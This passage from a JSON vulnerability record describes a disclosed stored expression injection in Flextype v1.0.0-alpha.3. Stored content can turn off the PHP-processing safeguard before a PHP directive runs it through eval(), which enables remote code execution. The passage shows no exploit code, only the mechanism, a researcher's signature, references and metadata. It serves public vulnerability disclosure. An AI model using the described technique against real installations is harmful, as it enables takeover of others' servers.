The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/24"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0012",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
            "automated": true,
            "contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:54:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0012"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}